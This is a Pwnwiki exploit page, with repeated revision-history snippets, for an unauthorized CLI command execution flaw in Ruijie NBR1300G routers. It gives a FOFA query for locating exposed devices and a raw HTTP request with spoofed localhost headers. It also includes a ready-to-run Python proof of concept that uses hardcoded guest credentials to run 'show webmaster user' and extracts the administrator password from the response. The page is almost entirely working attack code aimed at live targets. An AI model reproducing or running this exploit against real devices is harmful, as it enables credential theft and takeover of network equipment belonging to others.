Pwnwiki: Created page with "==FOFA==

 title="锐捷网络 --NBR路由器--登录界面"

==Request==

 POST /WEB_VMS/LEVEL15/ HTTP/1.1 Host:  Connection: keep-alive Content-Length: 73 Aut..."

2021-05-07T08:43:58Z

Created page with "==FOFA== <pre> title="锐捷网络 --NBR路由器--登录界面" </pre> ==Request== <pre> POST /WEB_VMS/LEVEL15/ HTTP/1.1 Host: Connection: keep-alive Content-Length: 73 Aut..."

New page

==FOFA==
<pre>
title="锐捷网络 --NBR路由器--登录界面"
</pre>

==Request==
<pre>
POST /WEB_VMS/LEVEL15/ HTTP/1.1
Host:
Connection: keep-alive
Content-Length: 73
Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: auth=; user=
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1

command=show version&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
</pre>

==POC==
<pre>
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 锐捷NBRNBR1300G 路由器越权CLI命令执行漏洞 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
vuln_url = target_url + "/WEB_VMS/LEVEL15/"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
data = 'command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.'
try:
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))
if "webmaster" in response.text and " password" in response.text and response.status_code == 200:
user_data = re.findall(r'webmaster level 0 username admin password (.*?)<OPTION>', response.text)[0]
print("\033[36m[o] 成功获取, 管理员用户账号密码为: admin/{} \033[0m".format(user_data))
else:
print("\033[31m[x] 请求失败:{} \033[0m")
except Exception as e:
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
</pre>

==參考==
http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

銳捷NBR 1300G路由器越權CLI命令執行漏洞 - Revision history

Pwnwiki: Created page with "==FOFA==
title="锐捷网络 --NBR路由器--登录界面"
==Request==
POST /WEB_VMS/LEVEL15/ HTTP/1.1 Host: Connection: keep-alive Content-Length: 73 Aut..."

銳捷NBR 1300G路由器 越權CLI命令執行漏洞 - Revision history

Pwnwiki: Created page with "==FOFA== title="锐捷网络 --NBR路由器--登录界面" ==Request== POST /WEB_VMS/LEVEL15/ HTTP/1.1 Host: Connection: keep-alive Content-Length: 73 Aut..."

銳捷NBR 1300G路由器越權CLI命令執行漏洞 - Revision history

Pwnwiki: Created page with "==FOFA==
title="锐捷网络 --NBR路由器--登录界面"
==Request==
POST /WEB_VMS/LEVEL15/ HTTP/1.1 Host: Connection: keep-alive Content-Length: 73 Aut..."